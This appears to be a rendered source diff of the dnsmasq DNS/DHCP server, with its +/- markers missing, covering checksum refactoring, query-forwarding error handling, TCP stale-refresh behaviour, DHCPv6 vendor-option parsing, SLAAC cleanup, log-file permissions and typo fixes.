@@ -226,13 +243,9 @@ static void do_dump_packet(int mask, void *packet, size_t len,
udp.uh_dport = dst->in.sin_port;
}
ip.ip_sum = 0;
for (sum = 0, i = 0; i < sizeof(struct ip) / 2; i++)
sum += ((u16 *)&ip)[i];
while (sum >> 16)
sum = (sum & 0xffff) + (sum >> 16);
ip.ip_sum = (sum == 0xffff) ? sum : ~sum;
ip.ip_sum = 0; /* for the calculation */
ip.ip_sum = calc_data_checksum(0, &ip, sizeof(struct ip));
/* start UDP/ICMP checksum */
sum = ip.ip_src.s_addr & 0xffff;
sum += (ip.ip_src.s_addr >> 16) & 0xffff;
@@ -240,9 +253,6 @@ static void do_dump_packet(int mask, void *packet, size_t len,
sum += (ip.ip_dst.s_addr >> 16) & 0xffff;
}
if (len & 1)
((unsigned char *)packet)[len] = 0; /* for checksum, in case length is odd. */
if (proto == IPPROTO_UDP)
{
/* Add Remaining part of the pseudoheader. Note that though the
@@ -252,17 +262,12 @@ static void do_dump_packet(int mask, void *packet, size_t len,
sum += htons(IPPROTO_UDP);
sum += htons(sizeof(struct udphdr) + len);
udp.uh_sum = 0;
udp.uh_sum = 0; /* for the calculation */
udp.uh_ulen = htons(sizeof(struct udphdr) + len);
for (i = 0; i < sizeof(struct udphdr)/2; i++)
sum += ((u16 *)&udp)[i];
for (i = 0; i < (len + 1) / 2; i++)
sum += ((u16 *)packet)[i];
while (sum >> 16)
sum = (sum & 0xffff) + (sum >> 16);
udp.uh_sum = (sum == 0xffff) ? sum : ~sum;
udp.uh_sum = calc_data_checksum(sum, packet, len);
pcap_header.incl_len = pcap_header.orig_len = ipsz + sizeof(udp) + len;
}
else
@@ -274,12 +279,9 @@ static void do_dump_packet(int mask, void *packet, size_t len,
sum += htons(proto);
sum += htons(len);
icmp->icmp6_cksum = 0;
for (i = 0; i < (len + 1) / 2; i++)
sum += ((u16 *)packet)[i];
while (sum >> 16)
sum = (sum & 0xffff) + (sum >> 16);
icmp->icmp6_cksum = (sum == 0xffff) ? sum : ~sum;
icmp->icmp6_cksum = 0; /* for the calculation */
icmp->icmp6_cksum = calc_data_checksum(sum, packet, len);
pcap_header.incl_len = pcap_header.orig_len = ipsz + len;
}
+69 -35
View File
@@ -177,7 +177,10 @@ static void forward_query(int udpfd, union mysockaddr *udpaddr,
int forwarded = 0;
int ede = EDE_UNSET;
unsigned short rrtype, rrclass;
unsigned short id = ntohs(header->id); /* Retrieve the id from the new query before we overwrite it. */
unsigned int casediff = 0;
unsigned int *bitvector = NULL;
gotname = extract_request(header, plen, daemon->namebuff, &rrtype, &rrclass);
/* Check for retry on existing query.
@@ -197,16 +200,7 @@ static void forward_query(int udpfd, union mysockaddr *udpaddr,
FREC_HAS_PHEADER | FREC_DNSKEY_QUERY | FREC_DS_QUERY | FREC_NO_CACHE)))
{
struct frec_src *src;
unsigned int casediff = 0;
unsigned int *bitvector = NULL;
unsigned short id = ntohs(header->id); /* Retrieve the id from the new query before we overwrite it. */
/* Get the case-scambled version of the query to resend. This is important because we
may fall through below and forward the query in the packet buffer again and we
want to use the same case scrambling as the first time. */
blockdata_retrieve(forward->stash, forward->stash_len, (void *)header);
plen = forward->stash_len;
for (src = &forward->frec_src; src; src = src->next)
if (src->orig_id == id &&
sockaddr_isequal(&src->source, udpaddr))
@@ -217,6 +211,11 @@ static void forward_query(int udpfd, union mysockaddr *udpaddr,
old_src = 1;
/* If a query is retried, use the log_id for the retry when logging the answer. */
src->log_id = daemon->log_id;
/* Get the case-scambled version of the query to resend. This is important because we
may fall through below and forward the query in the packet buffer again and we
want to use the same case scrambling as the first time. */
blockdata_retrieve(forward->stash, forward->stash_len, (void *)header);
plen = forward->stash_len;
}
else
{
@@ -242,9 +241,11 @@ static void forward_query(int udpfd, union mysockaddr *udpaddr,
and never resetting until the frec gets deleted by
aging followed by the receipt of a different query. This
is a bit of a DoS vuln. Avoid by explicitly deleting the
frec once it expires. */
if (difftime(now, forward->time) >= TIMEOUT)
free_frec(forward);
frec once it expires. The deletion is done at the end of
this function, unless we set forward to NULL here. */
if (difftime(now, forward->time) < TIMEOUT)
forward = NULL;
goto reply;
}
@@ -263,7 +264,10 @@ static void forward_query(int udpfd, union mysockaddr *udpaddr,
The original query we sent is now in packet buffer and the query name in the
new instance is on daemon->namebuff. */
blockdata_retrieve(forward->stash, forward->stash_len, (void *)header);
plen = forward->stash_len;
if (extract_name(header, forward->stash_len, NULL, daemon->workspacename, EXTR_NAME_EXTRACT, 0))
{
unsigned int i, gobig = 0;
@@ -312,7 +316,6 @@ static void forward_query(int udpfd, union mysockaddr *udpaddr,
src->fd = udpfd;
src->encode_bitmap = casediff;
src->encode_bigmap = bitvector;
src->udp_pkt_size = (unsigned short)replylimit;
/* closely spaced identical queries cannot be a try and a retry, so
@@ -388,18 +391,15 @@ static void forward_query(int udpfd, union mysockaddr *udpaddr,
forward->frec_src.orig_id = ntohs(header->id);
forward->new_id = get_id();
header->id = ntohs(forward->new_id);
forward->frec_src.encode_bitmap = (!option_bool(OPT_NO_0x20) && option_bool(OPT_DO_0x20)) ? rand32() : 0;
forward->frec_src.encode_bitmap = casediff = (!option_bool(OPT_NO_0x20) && option_bool(OPT_DO_0x20)) ? rand32() : 0;
forward->frec_src.encode_bigmap = NULL;
if (!extract_name(header, plen, NULL, (char *)&forward->frec_src.encode_bitmap, EXTR_NAME_FLIP, 1))
if (casediff != 0 && !extract_name(header, plen, NULL, (char *)&casediff, EXTR_NAME_FLIP, 1))
goto reply;
/* Keep copy of query for retries and move to TCP */
if (!(forward->stash = blockdata_alloc((char *)header, plen)))
{
free_frec(forward);
goto reply; /* no mem. return REFUSED */
}
goto reply; /* no mem. return REFUSED */
forward->stash_len = plen;
forward->frec_src.log_id = daemon->log_id;
@@ -582,13 +582,25 @@ static void forward_query(int udpfd, union mysockaddr *udpaddr,
}
/* could not send on, prepare to return */
header->id = htons(forward->frec_src.orig_id);
free_frec(forward); /* cancel */
ede = EDE_NETERR;
reply:
if (udpfd != -1)
{
/* The query now in the buffer can have changed from what arrived during
the preparation for forwarding in two respects.
1) The header->id field may have changed.
2) The case of letters in the query may have been changed.
Restore both of these changes before using it to build an error return for the client.
The original id is held in local variable id, and the difference in case
is encoded in casediff and also bitvector if the difference spreads beyond the first
32 characters.
*/
header->id = htons(id);
if (casediff != 0)
extract_name(header, plen, NULL, (char *)(bitvector ? bitvector : &casediff), EXTR_NAME_FLIP, bitvector ? casediff : 1);
if (!(plen = make_local_answer(flags, gotname, plen, header, daemon->namebuff, replylimit, first, last, ede)))
return;
@@ -619,6 +631,11 @@ static void forward_query(int udpfd, union mysockaddr *udpaddr,
}
daemon->metrics[METRIC_DNS_LOCAL_ANSWERED]++;
/* This has to be after last use of bitvector. */
if (forward)
free_frec(forward);
return;
}
@@ -1267,7 +1284,7 @@ void reply_query(int fd, time_t now)
had replies from all to avoid filling the forwarding table when
everything is broken */
/* decrement count of replies recieved if we sent to more than one server. */
/* decrement count of replies received if we sent to more than one server. */
if (forward->forwardall && (--forward->forwardall > 1) && RCODE(header) == REFUSED)
return;
@@ -1289,7 +1306,8 @@ void reply_query(int fd, time_t now)
server->query_latency = server->mma_latency/128;
/* Flip the bits back in the query name. */
if (!extract_name(header, n, NULL, (char *)&forward->frec_src.encode_bitmap, EXTR_NAME_FLIP, 1))
if (forward->frec_src.encode_bitmap != 0 &&
!extract_name(header, n, NULL, (char *)&forward->frec_src.encode_bitmap, EXTR_NAME_FLIP, 1))
return;
#ifdef HAVE_DNSSEC
@@ -2105,7 +2123,7 @@ static ssize_t tcp_talk(int first, int last, int start, struct dns_header *heade
#if defined(SO_SNDTIMEO) && defined(SO_RCVTIMEO)
/* TCP connections by default take ages to time out.
Set shorter timeouts more appropriate for a DNS server.
We set the recieve timeout as twice the send timeout; we
We set the receive timeout as twice the send timeout; we
want to fail quickly on a non-responsive server, but give it time to get an
answer. */
tv.tv_sec = TCP_TIMEOUT;
@@ -2388,7 +2406,7 @@ void tcp_request(int confd, time_t now, struct iovec *bigbuff,
unsigned char *pheader;
unsigned int mark = 0;
int have_mark = 0;
int first, last, filtered, do_stale = 0;
int first, last, filtered, do_stale = 0, closed = 0;
struct iovec out_iov[2];
bigbuff->iov_base = NULL;
@@ -2724,8 +2742,16 @@ void tcp_request(int confd, time_t now, struct iovec *bigbuff,
}
}
/* Fresh data is in the cache now. Go on with the queries the client
had already sent, if the connection is still open. */
if (do_stale)
break;
{
if (closed)
break;
do_stale = 0;
daemon->log_source_addr = &peer_addr;
continue;
}
/* In case of local answer or no connections made. */
if (m == 0)
@@ -2774,19 +2800,27 @@ void tcp_request(int confd, time_t now, struct iovec *bigbuff,
/* If we answered with stale data, this process will now try and get fresh data into
the cache and cannot therefore accept new queries. Close the incoming
connection to signal that to the client. Then set do_stale and loop round
once more to try and get fresh data, after which we exit. */
once more to try and get fresh data, after which we exit. A client which
has already sent its next query is waiting for the answer and would lose
it, so keep the connection open then and answer it after the refresh. */
if (stale)
{
shutdown(confd, SHUT_RDWR);
close(confd);
char c;
if (recv(confd, &c, 1, MSG_PEEK | MSG_DONTWAIT) != 1)
{
shutdown(confd, SHUT_RDWR);
close(confd);
closed = 1;
}
do_stale = 1;
/* Don't mark the query with the source when refreshing stale data. */
daemon->log_source_addr = NULL;
}
}
/* If we ran once to get fresh data, confd is already closed. */
if (!do_stale)
/* If we ran once to get fresh data, confd may be closed already. */
if (!closed)
{
shutdown(confd, SHUT_RDWR);
close(confd);
+1 -7
View File
@@ -712,13 +712,7 @@ static unsigned char *grab_extradata(unsigned char *buf, unsigned char *end, ch
break;
if (next && (next != buf))
{
char *p;
/* No "=" in value */
if ((p = strchr((char *)buf, '=')))
*p = 0;
val = (char *)buf;
}
val = (char *)buf;
}
my_setenv(env, val, err);
+13 -11
View File
@@ -527,7 +527,7 @@ void lease_update_slaac(time_t now)
/* Find interfaces associated with leases at start-up. This gets updated as
we do DHCP transactions, but information about directly-connected subnets
is useful from scrips and necessary for determining SLAAC addresses from
is useful from scripts and necessary for determining SLAAC addresses from
start-time. */
void lease_find_interfaces(time_t now)
{
@@ -1027,6 +1027,13 @@ static void kill_name(struct dhcp_lease *lease)
lease->old_hostname = lease->hostname;
lease->hostname = lease->fqdn = NULL;
#ifdef HAVE_DHCP6
/* A lease which had a hostname when slaac_add_addrs() was called on it
may have slaac-address records. Since it no longer has a hostname,
they are no-longer valid, so update to remove them */
slaac_add_addrs(lease, 0, 0);
#endif
}
void lease_calc_fqdns(void)
@@ -1151,6 +1158,10 @@ void lease_set_hostname(struct dhcp_lease *lease, const char *name, int auth, ch
file_dirty = 1;
dns_dirty = 1;
lease->flags |= LEASE_CHANGED; /* run script on change */
#ifdef HAVE_DHCP6
slaac_add_addrs(lease, dnsmasq_time(), 0);
#endif
}
void lease_set_interface(struct dhcp_lease *lease, int interface, time_t now)
@@ -1250,15 +1261,6 @@ int do_script_run(time_t now)
}
else
{
#ifdef HAVE_DHCP6
struct slaac_address *slaac, *tmp;
for (slaac = lease->slaac_address; slaac; slaac = tmp)
{
tmp = slaac->next;
free(slaac);
}
#endif
kill_name(lease);
#ifdef HAVE_SCRIPT
queue_script(ACTION_DEL, lease, lease->old_hostname, now);
#endif
@@ -1267,7 +1269,7 @@ int do_script_run(time_t now)
#endif
old_leases = lease->next;
free(lease->hostname);
kill_name(lease); /* frees slaac_addr, hostname and fqdn */
free(lease->clid);
free(lease->extradata);
free(lease->agent_id);
+20 -17
View File
@@ -97,27 +97,30 @@ int log_start(struct passwd *ent_pw, int errfd)
entries_alloced = 1;
}
/* If we're running as root and going to change uid later,
change the ownership here so that the file is always owned by
the dnsmasq user. Then logrotate can just copy the owner.
Failure of the chown call is OK, (for instance when started as non-root).
If we've created a file with group-id root, we also make
the file group-writable. This gives processes in the root group
write access to the file and avoids the problem that on some systems,
once the file is owned by the dnsmasq user, it can't be written
whilst dnsmasq is running as root during startup.
*/
if (log_to_file && !log_stderr && ent_pw && ent_pw->pw_uid != 0)
{
struct stat ls;
if (getgid() == 0 && fstat(log_fd, &ls) == 0 && ls.st_gid == 0 &&
(ls.st_mode & S_IWGRP) == 0)
(void)fchmod(log_fd, ls.st_mode | S_IWGRP);
if (fchown(log_fd, ent_pw->pw_uid, -1) != 0)
ret = errno;
/* Only mess with permissions for regular files, not (eg) /dev/null */
if (fstat(log_fd, &ls) == 0 && S_ISREG(ls.st_mode))
{
/* If we're running as root and going to change uid later,
change the ownership here so that the file is always owned by
the dnsmasq user. Then logrotate can just copy the owner. */
if (fchown(log_fd, ent_pw->pw_uid, -1) != 0)
ret = errno;
/* If we've created a file with group-id root, we also make
the file group-writable. This gives processes in the root group
write access to the file and avoids the problem that on some systems,
once the file is owned by the dnsmasq user, it can't be written
whilst dnsmasq is running as root during startup.
Failure of the chown call is OK, (for instance when started as non-root). */
if (getgid() == 0 && ls.st_gid == 0 && (ls.st_mode & S_IWGRP) == 0)
(void)fchmod(log_fd, ls.st_mode | S_IWGRP);
}
}
return ret;
}
+8 -13
View File
@@ -1254,19 +1254,14 @@ void warn_bound_listeners(void)
int advice = 0;
for (iface = daemon->interfaces; iface; iface = iface->next)
if (!iface->dns_auth)
if (!iface->dns_auth && !iface->warned &&
iface->addr.sa.sa_family == AF_INET && !private_net(iface->addr.in.sin_addr, 1))
{
if (iface->addr.sa.sa_family == AF_INET)
{
if (!private_net(iface->addr.in.sin_addr, 1))
{
inet_ntop(AF_INET, &iface->addr.in.sin_addr, daemon->addrbuff, ADDRSTRLEN);
iface->warned = advice = 1;
my_syslog(LOG_WARNING,
_("LOUD WARNING: listening on %s may accept requests via interfaces other than %s"),
daemon->addrbuff, iface->name);
}
}
inet_ntop(AF_INET, &iface->addr.in.sin_addr, daemon->addrbuff, ADDRSTRLEN);
iface->warned = advice = 1;
my_syslog(LOG_WARNING,
_("LOUD WARNING: listening on %s may accept requests via interfaces other than %s"),
daemon->addrbuff, iface->name);
}
if (advice)
@@ -1462,7 +1457,7 @@ static struct serverfd *allocate_sfd(union mysockaddr *addr, char *intname, unsi
/* when using random ports, servers which would otherwise use
the INADDR_ANY/port0 socket have sfd set to NULL, this is
anything without an explictly set source port. */
anything without an explicitly set source port. */
if (!daemon->osport)
{
errno = 0;
+81 -45
View File
@@ -745,7 +745,7 @@ static int numeric_check(char *a)
{
char *p;
if (!a)
if (!a || *a == 0)
return 0;
unhide_metas(a);
@@ -771,11 +771,14 @@ static int strtoul_check(char *a, u32 *res)
if (!numeric_check(a))
return 0;
x = strtoul(a, NULL, 10);
if (errno || x > UINT32_MAX) {
errno = 0;
return 0;
}
if (errno || x > UINT32_MAX)
{
errno = 0;
return 0;
}
*res = (u32)x;
return 1;
}
@@ -1383,7 +1386,7 @@ static void dhcp_netid_list_free(struct dhcp_netid_list *netid)
netid = netid->next;
/* Note: don't use dhcp_netid_free() here, since that
frees a list linked on netid->next. Where a netid_list
is used that's because the the ->next pointers in the
is used that's because the ->next pointers in the
netids are being used to temporarily construct
a list of valid tags. */
free(tmplist->list->net);
@@ -1471,58 +1474,45 @@ static int parse_dhcp_opt(char *errstr, char *arg, int flags)
while (arg)
{
char *start = arg;
comma = split(arg);
for (cp = arg; *cp; cp++)
if (strstr(arg, "option:") == arg)
start = arg+7;
#ifdef HAVE_DHCP6
else if (strstr(arg, "option6:") == arg)
{
start = arg+8;
is6 = 1;
}
#endif
else if (strstr(arg, "option4:") == arg)
start = arg+8;
for (cp = start; *cp; cp++)
if (*cp < '0' || *cp > '9')
break;
if (!*cp)
{
new->opt = atoi(arg);
new->opt = atoi(start);
opt_len = 0;
option_ok = 1;
break;
}
if (strstr(arg, "option:") == arg)
/* option*:<opt>|<optname> must follow tag and vendor string. */
if (start != arg)
{
if ((new->opt = lookup_dhcp_opt(AF_INET, arg+7)) != -1)
if ((new->opt = lookup_dhcp_opt(is6 ? AF_INET6: AF_INET, start)) != -1)
{
opt_len = lookup_dhcp_len(AF_INET, new->opt);
opt_len = lookup_dhcp_len(is6 ? AF_INET6: AF_INET, new->opt);
/* option:<optname> must follow tag and vendor string. */
if (!(opt_len & OT_INTERNAL) || flags == DHOPT_MATCH)
option_ok = 1;
}
break;
}
#ifdef HAVE_DHCP6
else if (strstr(arg, "option6:") == arg)
{
for (cp = arg+8; *cp; cp++)
if (*cp < '0' || *cp > '9')
break;
if (!*cp)
{
new->opt = atoi(arg+8);
opt_len = 0;
option_ok = 1;
}
else
{
if ((new->opt = lookup_dhcp_opt(AF_INET6, arg+8)) != -1)
{
opt_len = lookup_dhcp_len(AF_INET6, new->opt);
if (!(opt_len & OT_INTERNAL) || flags == DHOPT_MATCH)
option_ok = 1;
}
}
/* option6:<opt>|<optname> must follow tag and vendor string. */
is6 = 1;
break;
}
#endif
else if (strstr(arg, "vendor:") == arg)
{
new->u.vendor_class = (unsigned char *)opt_string_alloc(arg+7);
@@ -1701,7 +1691,7 @@ static int parse_dhcp_opt(char *errstr, char *arg, int flags)
parse_hex(comma, new->val, digs, (flags & DHOPT_MATCH) ? &new->u.wildcard_mask : NULL, NULL);
new->flags |= DHOPT_HEX;
}
else if (is_dec)
else if (is_dec && !(opt_len & OT_DHCP6_VENDOR))
{
int i, val = atoi(comma);
/* assume numeric arg is 1 byte except for
@@ -1902,6 +1892,48 @@ static int parse_dhcp_opt(char *errstr, char *arg, int flags)
comma = split(arg);
}
new->val = newp;
new->len = p - newp;
}
else if (comma && (opt_len & OT_DHCP6_VENDOR))
{
/* First arg is Enterprise ID (4 bytes)
subsequent are length fields (2 bytes each) + string */
int enterprise, i, commas = 1;
unsigned char *p, *newp;
for (i = 0; comma[i]; i++)
if (comma[i] == ',')
commas++;
newp = opt_malloc(strlen(comma)+(2*commas)+4);
p = newp;
arg = comma;
comma = split(arg);
if (atoi_check(arg, &enterprise))
PUTLONG(enterprise, p);
else
goto_err(_("bad or missing enterprise ID in dhcp-option"));
arg = comma;
comma = split(arg);
if (!arg || !*arg)
goto_err(_("missing vendor class in dhcp-option"));
while (arg && *arg)
{
u16 len = strlen(arg);
unhide_metas(arg);
PUTSHORT(len, p);
memcpy(p, arg, len);
p += len;
arg = comma;
comma = split(arg);
}
new->val = newp;
new->len = p - newp;
}
@@ -1965,7 +1997,7 @@ static int parse_dhcp_opt(char *errstr, char *arg, int flags)
if (flags == DHOPT_PXE_OPT && (new->flags & DHOPT_VENDOR))
goto_err(_("No vendor-encap options allowed in dhcp-option-pxe"));
if (flags == DHOPT_MATCH)
{
if ((new->flags & (DHOPT_ENCAPSULATE | DHOPT_VENDOR)) ||
@@ -2800,7 +2832,7 @@ static int one_opt(int option, char *arg, char *errstr, char *gen_err, int comma
break;
}
case LOPT_CPE_ID: /* --add-dns-client */
case LOPT_CPE_ID: /* --add-cpe-id */
if (arg)
daemon->dns_client_id = opt_string_alloc(arg);
break;
@@ -5014,7 +5046,7 @@ err:
new->target = target;
new->ttl = ttl;
for (arg += arglen+1; *arg && isspace((unsigned char)*arg); arg++);
for (arg += arglen+1; arg != last && (!*arg || isspace((unsigned char)*arg)); arg++);
}
break;
@@ -6270,7 +6302,11 @@ void read_opts(int argc, char **argv, char *compile_opts)
if ((token = strtok(NULL, " \t\n\r")) &&
(daemon->domain_suffix = canonicalise_opt(token)))
break;
{
/* We don't call get_line_alloc() until it returns false and frees the automatically */
get_line_alloc(NULL, &line, &linesz);
break;
}
}
fclose(f);
+3 -3
View File
@@ -100,13 +100,13 @@ void poll_listen(int fd, short event)
{
/* Array too small. Extend. */
struct pollfd *new;
nfds_t newsize = (arrsize == 0) ? 64 : arrsize * 2;
arrsize = (arrsize == 0) ? 64 : arrsize * 2;
if (!(new = whine_realloc(pollfds, arrsize * sizeof(struct pollfd))))
if (!(new = whine_realloc(pollfds, newsize * sizeof(struct pollfd))))
return;
pollfds = new;
arrsize = newsize;
}
memmove(&pollfds[i+1], &pollfds[i], (nfds - i) * sizeof(struct pollfd));
+17 -2
View File
@@ -58,7 +58,7 @@ static int add_prefixes(struct in6_addr *local, int prefix,
unsigned int preferred, unsigned int valid, void *vparam);
static int iface_search(struct in6_addr *local, int prefix,
int scope, int if_index, int flags,
unsigned int prefered, unsigned int valid, void *vparam);
unsigned int preferred, unsigned int valid, void *vparam);
static int add_lla(int index, unsigned int type, char *mac, size_t maclen, void *parm);
static void new_timeout(struct dhcp_context *context, char *iface_name, time_t now);
static unsigned int calc_lifetime(struct ra_interface *ra);
@@ -608,6 +608,7 @@ static int add_prefixes(struct in6_addr *local, int prefix,
int do_slaac = 0;
int deprecate = 0;
int constructed = 0;
int have_lease = 0;
int adv_router = 0;
int off_link = 0;
unsigned int time = 0xffffffff;
@@ -660,6 +661,8 @@ static int add_prefixes(struct in6_addr *local, int prefix,
if (time < ((unsigned int)(3 * param->adv_interval)))
time = 3 * param->adv_interval;
}
if (context->flags & CONTEXT_SETLEASE)
have_lease = 1;
if (context->flags & CONTEXT_DEPRECATE)
deprecate = 1;
@@ -697,7 +700,19 @@ static int add_prefixes(struct in6_addr *local, int prefix,
/* configured time is ceiling */
if (!constructed || valid > time)
valid = time;
/* For CONSTRUCTED prefixes an explicitly configured lease time is
also a floor: an upstream delegating with very short lifetimes
(mobile links) would otherwise churn the addresses of any client
that sleeps through a few RAs. Deprecation still wins below. */
if (constructed && have_lease && !deprecate && !(flags & IFACE_DEPRECATED))
{
if (valid < time)
valid = time;
if (preferred < time)
preferred = time;
}
if (flags & IFACE_DEPRECATED)
preferred = 0;
+11 -25
View File
@@ -560,7 +560,7 @@ static int find_soa(struct dns_header *header, size_t qlen, char *name, int *sub
soa_len = strlen(daemon->workspacename);
/* SOA must be for the name we're interested in. */
if (soa_len <= name_len && memcmp(daemon->workspacename, name + name_len - soa_len, soa_len) == 0)
if (hostname_issubdomain(daemon->workspacename, name) != 0)
{
int prefix = name_len - soa_len;
@@ -585,11 +585,8 @@ static int find_soa(struct dns_header *header, size_t qlen, char *name, int *sub
{
len = to_wire(daemon->workspacename);
if (!blockdata_expand(addr.rrblock.rrdata, addr.rrblock.datalen, daemon->workspacename, len))
{
blockdata_free(addr.rrblock.rrdata);
return 0;
}
return 0;
addr.rrblock.datalen += len;
}
}
@@ -607,11 +604,8 @@ static int find_soa(struct dns_header *header, size_t qlen, char *name, int *sub
int secflag = 0;
if (!blockdata_expand(addr.rrblock.rrdata, addr.rrblock.datalen, (char *)p, 20))
{
blockdata_free(addr.rrblock.rrdata);
return 0;
}
return 0;
addr.rrblock.datalen += 20;
#ifdef HAVE_DNSSEC
@@ -942,10 +936,8 @@ int extract_addresses(struct dns_header *header, size_t qlen, char *name, time_t
{
/* Copy the rest of the RR and end. */
if (!blockdata_expand(addr.rrblock.rrdata, addr.rrblock.datalen, (char *)p1, endrr - p1))
{
blockdata_free(addr.rrblock.rrdata);
return 0;
}
return 0;
addr.rrblock.datalen += endrr - p1;
}
else if (desc == 0)
@@ -962,11 +954,8 @@ int extract_addresses(struct dns_header *header, size_t qlen, char *name, time_t
len = to_wire(name);
if (!blockdata_expand(addr.rrblock.rrdata, addr.rrblock.datalen, name, len))
{
blockdata_free(addr.rrblock.rrdata);
return 0;
}
return 0;
addr.rrblock.datalen += len;
}
else
@@ -976,11 +965,8 @@ int extract_addresses(struct dns_header *header, size_t qlen, char *name, time_t
desc = endrr - p1;
if (!blockdata_expand(addr.rrblock.rrdata, addr.rrblock.datalen, (char *)p1, desc))
{
blockdata_free(addr.rrblock.rrdata);
return 0;
}
return 0;
addr.rrblock.datalen += desc;
p1 += desc;
}
+2 -1
View File
@@ -1611,7 +1611,8 @@ size_t dhcp_reply(struct dhcp_context *context, char *iface_name, int int_index,
lease->extradata_size = lease->extradata_len = 0;
add_extradata_opt(lease, option_find(mess, sz, OPTION_VENDOR_ID, 1));
add_extradata_opt(lease, option_find(mess, sz, OPTION_HOSTNAME, 1));
lease_add_extradata(lease, (unsigned char *)client_hostname,
client_hostname ? strlen(client_hostname) : 0, 0);
add_extradata_opt(lease, oui);
add_extradata_opt(lease, serial);
add_extradata_opt(lease, class);
+3 -3
View File
@@ -255,10 +255,10 @@ static int dhcp6_maybe_relay(struct state *state, unsigned char *inbuff, size_t
/* the packet data is unaligned, copy to aligned storage */
memcpy(&align, inbuff + 2, IN6ADDRSZ);
/* RFC6221 para 4 says if link_address in encapulation
/* RFC6221 para 4 says if link_address in encapsulation
is zero, ignore it, and, by implication, use the link
address of any enclosing encapsulation or, failing that
of the arrival interface on the the server. */
of the arrival interface on the server. */
if (!dhcp6_maybe_relay(state, opt6_ptr(opt, 0), opt6_len(opt), client_addr,
IN6_IS_ADDR_UNSPECIFIED(&align) ? link_address : &align, now))
return 0;
@@ -502,7 +502,7 @@ static int dhcp6_no_relay(struct state *state, int msg_type, unsigned char *inbu
state->fqdn_flags &= ~0x04;
if (len != 0 && len < 255)
if (len >= 1 && len < 255)
{
unsigned char *pp, *op = opt6_ptr(opt, 1);
char *pq = daemon->dhcp_buff;
+67 -67
View File
@@ -27,87 +27,87 @@ void slaac_add_addrs(struct dhcp_lease *lease, time_t now, int force)
struct slaac_address *slaac, *old, **up;
struct dhcp_context *context;
int dns_dirty = 0;
if (!(lease->flags & LEASE_HAVE_HWADDR) ||
(lease->flags & (LEASE_TA | LEASE_NA)) ||
lease->last_interface == 0 ||
!lease->hostname)
return ;
old = lease->slaac_address;
lease->slaac_address = NULL;
for (context = daemon->dhcp6; context; context = context->next)
if ((context->flags & CONTEXT_RA_NAME) &&
!(context->flags & CONTEXT_OLD) &&
lease->last_interface == context->if_index)
{
struct in6_addr addr = context->start6;
if (lease->hwaddr_len == 6 &&
(lease->hwaddr_type == ARPHRD_ETHER || lease->hwaddr_type == ARPHRD_IEEE802))
if ((lease->flags & LEASE_HAVE_HWADDR) &&
!(lease->flags & (LEASE_TA | LEASE_NA)) &&
lease->last_interface != 0 &&
lease->hostname)
{
for (context = daemon->dhcp6; context; context = context->next)
if ((context->flags & CONTEXT_RA_NAME) &&
!(context->flags & CONTEXT_OLD) &&
lease->last_interface == context->if_index)
{
/* convert MAC address to EUI-64 */
memcpy(&addr.s6_addr[8], lease->hwaddr, 3);
memcpy(&addr.s6_addr[13], &lease->hwaddr[3], 3);
addr.s6_addr[11] = 0xff;
addr.s6_addr[12] = 0xfe;
}
struct in6_addr addr = context->start6;
if (lease->hwaddr_len == 6 &&
(lease->hwaddr_type == ARPHRD_ETHER || lease->hwaddr_type == ARPHRD_IEEE802))
{
/* convert MAC address to EUI-64 */
memcpy(&addr.s6_addr[8], lease->hwaddr, 3);
memcpy(&addr.s6_addr[13], &lease->hwaddr[3], 3);
addr.s6_addr[11] = 0xff;
addr.s6_addr[12] = 0xfe;
}
#if defined(ARPHRD_EUI64)
else if (lease->hwaddr_len == 8 &&
lease->hwaddr_type == ARPHRD_EUI64)
memcpy(&addr.s6_addr[8], lease->hwaddr, 8);
else if (lease->hwaddr_len == 8 &&
lease->hwaddr_type == ARPHRD_EUI64)
memcpy(&addr.s6_addr[8], lease->hwaddr, 8);
#endif
#if defined(ARPHRD_IEEE1394) && defined(ARPHRD_EUI64)
else if (lease->clid_len == 9 &&
lease->clid[0] == ARPHRD_EUI64 &&
lease->hwaddr_type == ARPHRD_IEEE1394)
/* FireWire has EUI-64 identifier as clid */
memcpy(&addr.s6_addr[8], &lease->clid[1], 8);
else if (lease->clid_len == 9 &&
lease->clid[0] == ARPHRD_EUI64 &&
lease->hwaddr_type == ARPHRD_IEEE1394)
/* FireWire has EUI-64 identifier as clid */
memcpy(&addr.s6_addr[8], &lease->clid[1], 8);
#endif
else
continue;
addr.s6_addr[8] ^= 0x02;
/* check if we already have this one */
for (up = &old, slaac = old; slaac; slaac = slaac->next)
{
if (IN6_ARE_ADDR_EQUAL(&addr, &slaac->addr))
{
*up = slaac->next;
/* recheck when DHCPv4 goes through init-reboot */
if (force)
{
slaac->ping_time = now;
slaac->backoff = 1;
dns_dirty = 1;
}
break;
}
up = &slaac->next;
}
else
continue;
/* No, make new one */
if (!slaac && (slaac = whine_malloc(sizeof(struct slaac_address))))
{
slaac->ping_time = now;
slaac->backoff = 1;
slaac->addr = addr;
/* Do RA's to prod it */
ra_start_unsolicited(now, context);
addr.s6_addr[8] ^= 0x02;
/* check if we already have this one */
for (up = &old, slaac = old; slaac; slaac = slaac->next)
{
if (IN6_ARE_ADDR_EQUAL(&addr, &slaac->addr))
{
*up = slaac->next;
/* recheck when DHCPv4 goes through init-reboot */
if (force)
{
slaac->ping_time = now;
slaac->backoff = 1;
dns_dirty = 1;
}
break;
}
up = &slaac->next;
}
/* No, make new one */
if (!slaac && (slaac = whine_malloc(sizeof(struct slaac_address))))
{
slaac->ping_time = now;
slaac->backoff = 1;
slaac->addr = addr;
/* Do RA's to prod it */
ra_start_unsolicited(now, context);
}
if (slaac)
{
slaac->next = lease->slaac_address;
lease->slaac_address = slaac;
}
}
if (slaac)
{
slaac->next = lease->slaac_address;
lease->slaac_address = slaac;
}
}
}
if (old || dns_dirty)
lease_update_dns(1);
/* Free any no reused */
/* Free any not reused */
for (; old; old = slaac)
{
slaac = old->next;
+23 -12
View File
@@ -251,15 +251,14 @@ static void tftp_request(char *packet, ssize_t plen, struct listener *listen, ti
for (tftp_cnt = 0, transfer = daemon->tftp_trans, up = &daemon->tftp_trans; transfer; up = &transfer->next, transfer = transfer->next)
{
tftp_cnt++;
if (sockaddr_isequal(&peer, &transfer->peer))
{
if (ntohs(*((unsigned short *)packet)) == OP_RRQ)
{
/* Handle repeated RRQ or abandoned transfer from same host and port
by unlinking and reusing the struct transfer. */
by abandoning old transfer. */
*up = transfer->next;
free_transfer(transfer);
break;
}
else
@@ -268,12 +267,14 @@ static void tftp_request(char *packet, ssize_t plen, struct listener *listen, ti
return;
}
}
tftp_cnt++;
}
